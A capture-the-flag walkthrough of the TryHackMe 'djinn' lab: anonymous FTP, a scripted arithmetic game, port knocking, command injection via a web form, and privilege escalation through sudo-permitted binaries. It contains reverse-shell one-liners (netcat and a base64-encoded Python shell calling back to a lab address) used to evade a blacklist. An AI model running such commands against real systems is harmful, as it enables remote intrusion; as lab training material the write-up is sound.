TryHackMe-djinn
Intermediate level vulnerable box.
User flag
Nmap
Let’s start with a basic Nmap scan. We discover that FTP is running on port 21 with anonymous access:
PORT STATE SERVICE VERSION 21/tcp open ftp vsftpd 3.0.3 | ftp-anon: Anonymous FTP login allowed (FTP code 230) | -rw-r--r-- 1 0 0 11 Oct 20 2019 creds.txt | -rw-r--r-- 1 0 0 128 Oct 21 2019 game.txt |_-rw-r--r-- 1 0 0 113 Oct 21 2019 message.txt | ftp-syst: | STAT: | FTP server status: | Connected to ::ffff:10.9.0.54 | Logged in as ftp | TYPE: ASCII | No session bandwidth limit | Session timeout in seconds is 300 | Control connection is plain text | Data connections will be plain text | At session startup, client count was 2 | vsFTPd 3.0.3 - secure, fast, stable |_End of status Service Info: OS: Unix
FTP
Let’s connect as anonymous and download the files:
$ ftp 10.10.18.78 Connected to 10.10.18.78 (10.10.18.78). 220 (vsFTPd 3.0.3) Name (10.10.18.78:unknown): anonymous 331 Please specify the password. Password: 230 Login successful. Remote system type is UNIX. Using binary mode to transfer files. ftp> ls 227 Entering Passive Mode (10,10,18,78,178,169). 150 Here comes the directory listing. -rw-r--r-- 1 0 0 11 Oct 20 2019 creds.txt -rw-r--r-- 1 0 0 128 Oct 21 2019 game.txt -rw-r--r-- 1 0 0 113 Oct 21 2019 message.txt 226 Directory send OK. ftp> mget *
The files reveal that there is a game running on port 1337, and we are provided with a username (@nitish81299) and credentials (nitu:81299).
$ cat game.txt oh and I forgot to tell you I've setup a game for you on port 1337. See if you can reach to the final level and get the prize. $ cat message.txt @nitish81299 I am going on holidays for few days, please take care of all the work. And don't mess up anything. $ cat creds.txt nitu:81299
Port 1337
Connecting to port 1337 reveals a game with computation challenges. If you provide the right answer, it goes to the next computation, and so on, until 1000 computations are performed. If the answer is incorrect, the program ends. At the end of the game, a secret is revealed.
Let’s write a python script to solve this game.
#!/usr/bin/env python
from pwn import *
import re
host, port = '10.10.18.78', 1337
context.log_level = 'warn'
s = remote(host, port)
s.recvuntil("Answer my questions 1000 times and I'll give you your gift.\n")
for i in range(1001):
computation = s.recvline()
r = re.search("\((\d+), '([\+\-\*\/])', (\d+)\)", computation.decode('utf-8'))
n1 = int(r.group(1))
op = r.group(2)
n2 = int(r.group(3))
if op == '+':
n = n1 + n2
elif op == '-':
n = n1 - n2
elif op == '*':
n = n1 * n2
else:
n = n1 / n2
print("[#{}] {}{}{}={}".format(i+1, n1, op, n2, n))
s.sendline(str(n))
print(s.recvline().decode('utf-8'))
print(s.recvline().decode('utf-8'))
print(s.recvline().decode('utf-8'))
s.close()
Here is an extract of the program’s output when run:
$ python game.py [#1] 5+7=12 [#2] 9/9=1.0 [#3] 7*1=7 [#4] 7-3=4 [#5] 1/4=0.25 [#6] 4/9=0.4444444444444444 [#7] 7*2=14 [#8] 5*7=35 [REDACTED] [#997] 2*4=8 [#998] 2/8=0.25 [#999] 2-6=-4 [#1000] 5+5=10 [#1001] 6*7=42 > Here is your gift, I hope you know what to do with it: 1356, 6784, 3409
After succesfully solving the 1000 computations, the secret is revealed, and it looks like a ports sequence (port knocking).
Port knocking
We can use Nmap to knock at the door and open the hidden port:
$ for i in 1356 6784 3409; do nmap -Pn --host-timeout 201 --max-retries 0 -p $i 10.10.40.210;done
Let’s confirm what port is now unlocked
$ sudo masscan -p 1-65535 10.10.10.30 -e tun0 --rate=1000
We discover 2 new ports: 7331 and 22. Trying to login to SSH with the credentials gathered previously fails. Let’s focus on the other port for now.
Port 7331
Nmap reveals that there is a web application running on port 7331:
$ sudo nmap -sV -p 7331 10.10.40.210 Starting Nmap 7.80 ( https://nmap.org ) at 2020-07-01 22:38 CEST Nmap scan report for 10.10.40.210 Host is up (0.044s latency). PORT STATE SERVICE VERSION 7331/tcp open http Werkzeug httpd 0.16.0 (Python 2.7.15+) Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 7.13 seconds
A scan with dirsearch reveals the presence of 2 hidden locations: /wish and /genie.
The /wish location is a form that allows to execute commands. It redirects to /genie that shows a 403 error code, but the result of the command is still displayed on top of the picture (you can read the output more clearly in the source code of the page).
I tried to make a reverse shell with nc -e /bin/bash 10.9.0.54 4444 and to make the server download a python reverse shell, but it failed with the message: “Wrong choice of words”. There is likely a blacklist in the program.
Let’s encode our payload in base64:
$ echo "python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.9.0.54\",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/bash\",\"-i\"]);'" | base64 cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNv Y2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuOS4wLjU0Iiw0 NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1 cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbIi9iaW4vYmFzaCIsIi1pIl0pOycK
Open a listener (nc -nlvp 4444) and send this to the form:
echo "cHl0aG9uIC1jICdpbXBvcnQgc29ja2V0LHN1YnByb2Nlc3Msb3M7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuOS4wLjU0Iiw0NDQ0KSk7b3MuZHVwMihzLmZpbGVubygpLDApOyBvcy5kdXAyKHMuZmlsZW5vKCksMSk7IG9zLmR1cDIocy5maWxlbm8oKSwyKTtwPXN1YnByb2Nlc3MuY2FsbChbIi9iaW4vYmFzaCIsIi1pIl0pOycK" | base64 -d | bash
The program decoded our base64 shell and executed it. We now have a reverse shell.
We see 2 users under /home, 1 of which containing the user flag. Unfortunately, we don’t have the permission to read the user flag or read the content of the other user’s home folder.
www-data@djinn:/opt/80$ ls -l /home ls -l /home total 8 drwxr-xr-x 5 nitish nitish 4096 Nov 12 2019 nitish drwxr-x--- 4 sam sam 4096 Nov 14 2019 sam www-data@djinn:/opt/80$ ls -l /home/nitish ls -l /home/nitish total 4 -rw-r----- 1 nitish nitish 33 Nov 12 2019 user.txt www-data@djinn:/opt/80$ ls -l /home/sam ls -l /home/sam ls: cannot open directory '/home/sam': Permission denied www-data@djinn:/opt/80$
Searching for files owned by the nitish reveals hidden credentials in clear:
www-data@djinn:/$ $ find / -type f -user nitish 2>/dev/null /home/nitish/user.txt /home/nitish/.bashrc /home/nitish/.dev/creds.txt www-data@djinn:/$ cat /home/nitish/.dev/creds.txt cat /home/nitish/.dev/creds.txt nitish:p4ssw0rdStr3r0n9
SSH connection (nitish)
Using these credentials with SSH allows us to connect as nitish and get the user flag.
$ ssh [email protected] nitish@djinn:~$ cat user.txt 10aay8289ptgguy1pvfa73alzusyyx3c
User flag: 10aay8289ptgguy1pvfa73alzusyyx3c
Root flag
The genie executable
Checking our privileges with sudo -l reveals that we can execute genie as sam without password.
nitish@djinn:~$ sudo -l
Matching Defaults entries for nitish on djinn:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User nitish may run the following commands on djinn:
(sam) NOPASSWD: /usr/bin/genie
nitish@djinn:~$ file /usr/bin/genie
/usr/bin/genie: setuid ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 3.2.0, BuildID[sha1]=3f0b0d4d3dacca65084b0fbe690cac95d143e61a, not stripped
genie is a 64bit executable that we can run, and it has a help:
nitish@djinn:~$ /usr/bin/genie
usage: genie [-h] [-g] [-p SHELL] [-e EXEC] wish
genie: error: the following arguments are required: wish
usage: genie [-h] [-g] [-p SHELL] [-e EXEC] wish
I know you've came to me bearing wishes in mind. So go ahead make your wishes.
positional arguments:
wish Enter your wish
optional arguments:
-h, --help show this help message and exit
-g, --god pass the wish to god
-p SHELL, --shell SHELL
Gives you shell
-e EXEC, --exec EXEC execute command
Checking if there is a manual (man genie) reveals more available commands:
man(8) genie man page man(8)
NAME
genie - Make a wish
SYNOPSIS
genie [-h] [-g] [-p SHELL] [-e EXEC] wish
DESCRIPTION
genie would complete all your wishes, even the naughty ones.
We all dream of getting those crazy privelege escalations, this will even help you acheive that.
OPTIONS
wish
This is the wish you want to make .
-g, --god
Sometime we all would like to make a wish to god, this option let you make wish directly to God;
Though genie can't gurantee you that your wish will be heard by God, he's a busy man you know;
-p, --shell
Well who doesn't love those. You can get shell. Ex: -p "/bin/sh"
-e, --exec
Execute command on someone else computer is just too damn fun, but this comes with some restrictions.
-cmd
You know sometime all you new is a damn CMD, windows I love you.
SEE ALSO
mzfr.github.io
BUGS
There are shit loads of bug in this program, it's all about finding one.
AUTHOR
mzfr
Lateral move (nitish -> sam)
Playing a bit with the executable and the cmd command led to succesfully connecting as sam by providing 1 to the cmd flag:
nitish@djinn:/usr/bin$ sudo -u sam /usr/bin/genie -cmd 1 my man!! $ id uid=1000(sam) gid=1000(sam) groups=1000(sam),4(adm),24(cdrom),30(dip),46(plugdev),108(lxd),113(lpadmin),114(sambashare) $
Let’s check sam’s privileges:
sam@djinn:/home/sam$ sudo -l
Matching Defaults entries for sam on djinn:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User sam may run the following commands on djinn:
(root) NOPASSWD: /root/lago
We can run /root/lago as root without password. Here is what the program looks like when run:
sam@djinn:/home/sam$ sudo /root/lago What do you want to do ? 1 - Be naughty 2 - Guess the number 3 - Read some damn files 4 - Work Enter your choice:1 Working on it!! sam@djinn:/home/sam$ sudo /root/lago What do you want to do ? 1 - Be naughty 2 - Guess the number 3 - Read some damn files 4 - Work Enter your choice:2 Choose a number between 1 to 100: Enter your number: 50 Better Luck next time sam@djinn:/home/sam$ sudo /root/lago What do you want to do ? 1 - Be naughty 2 - Guess the number 3 - Read some damn files 4 - Work Enter your choice:3 Enter the full of the file to read: /root/root.txt Slow clap for this hacker right here sam@djinn:/home/sam$ sudo /root/lago What do you want to do ? 1 - Be naughty 2 - Guess the number 3 - Read some damn files 4 - Work Enter your choice:4 work your ass off!! sam@djinn:/home/sam$
If you closely look at files in sam’s home directory, you’ll notice the presence of a .pyc file, which is the compiled version of a program. Let’s download it and decompile it with uncompyle6.
$ uncompyle6 lago.pyc
# uncompyle6 version 3.7.0
# Python bytecode 2.7 (62211)
# Decompiled from: Python 3.8.3 (default, May 29 2020, 00:00:00)
# [GCC 10.1.1 20200507 (Red Hat 10.1.1-1)]
# Embedded file name: /home/mzfr/scripts/exp.py
# Compiled at: 2019-11-07 14:05:18
from getpass import getuser
from os import system
from random import randint
def naughtyboi():
print 'Working on it!! '
def guessit():
num = randint(1, 101)
print 'Choose a number between 1 to 100: '
s = input('Enter your number: ')
if s == num:
system('/bin/sh')
else:
print 'Better Luck next time'
def readfiles():
user = getuser()
path = input('Enter the full of the file to read: ')
print 'User %s is not allowed to read %s' % (user, path)
def options():
print 'What do you want to do ?'
print '1 - Be naughty'
print '2 - Guess the number'
print '3 - Read some damn files'
print '4 - Work'
choice = int(input('Enter your choice: '))
return choice
def main(op):
if op == 1:
naughtyboi()
elif op == 2:
guessit()
elif op == 3:
readfiles()
elif op == 4:
print 'work your ass off!!'
else:
print 'Do something better with your life'
if __name__ == '__main__':
main(options())
# okay decompiling lago.pyc
It seems to be the lago program in /root. The test in the guessit function is interesting because we will get a shell if we provide the string num as user input, instead of guessing the random number.
if s == num:
system('/bin/sh')
Root flag
Let’s elevate to root and get the root flag:
sam@djinn:/home/sam$ sudo /root/lago What do you want to do ? 1 - Be naughty 2 - Guess the number 3 - Read some damn files 4 - Work Enter your choice:2 Choose a number between 1 to 100: Enter your number: num # ls -la /root total 64 drwx------ 5 root root 4096 Nov 18 2019 . drwxr-xr-x 23 root root 4096 Nov 11 2019 .. -rw------- 1 root root 23351 Nov 18 2019 .bash_history -rw-r--r-- 1 root root 3106 Apr 9 2018 .bashrc drwx------ 3 root root 4096 Oct 21 2019 .cache drwx------ 3 root root 4096 Oct 21 2019 .gnupg -rwxr-xr-x 1 root root 1827 Nov 14 2019 lago drwxr-xr-x 3 root root 4096 Oct 20 2019 .local -rw-r--r-- 1 root root 148 Aug 17 2015 .profile -rwxr-xr-x 1 root root 457 Nov 12 2019 proof.sh
The root flag is in the proff.sh script:
#!/bin/bash clear figlet Amazing!!! echo djinn pwned... echo __________________________________________________________________________ echo echo "Proof: 33eur2wjdmq80z47nyy4fx54bnlg3ibc" echo Path: $(pwd) echo Date: $(date) echo Whoami: $(whoami) echo __________________________________________________________________________ echo echo "By @0xmzfr" echo "" echo "Thanks to my fellow teammates in @m0tl3ycr3w for betatesting! :-)" echo ""
Here is the output of the script:
root@djinn:/root# ./proof.sh
_ _ _ _ _
/ \ _ __ ___ __ _ ___(_)_ __ __ _| | | |
/ _ \ | '_ ` _ \ / _` |_ / | '_ \ / _` | | | |
/ ___ \| | | | | | (_| |/ /| | | | | (_| |_|_|_|
/_/ \_\_| |_| |_|\__,_/___|_|_| |_|\__, (_|_|_)
|___/
djinn pwned...
__________________________________________________________________________
Proof: 33eur2wjdmq80z47nyy4fx54bnlg3ibc
Path: /root
Date: Thu Jul 2 12:52:08 IST 2020
Whoami: root
__________________________________________________________________________
By @0xmzfr
Thanks to my fellow teammates in @m0tl3ycr3w for betatesting! :-)
Root flag: 33eur2wjdmq80z47nyy4fx54bnlg3ibc
Comments
Keywords: ctf tryhackme djinn python pyc ftp scripting portknocking shell evasion blacklist uncompyle6 decompile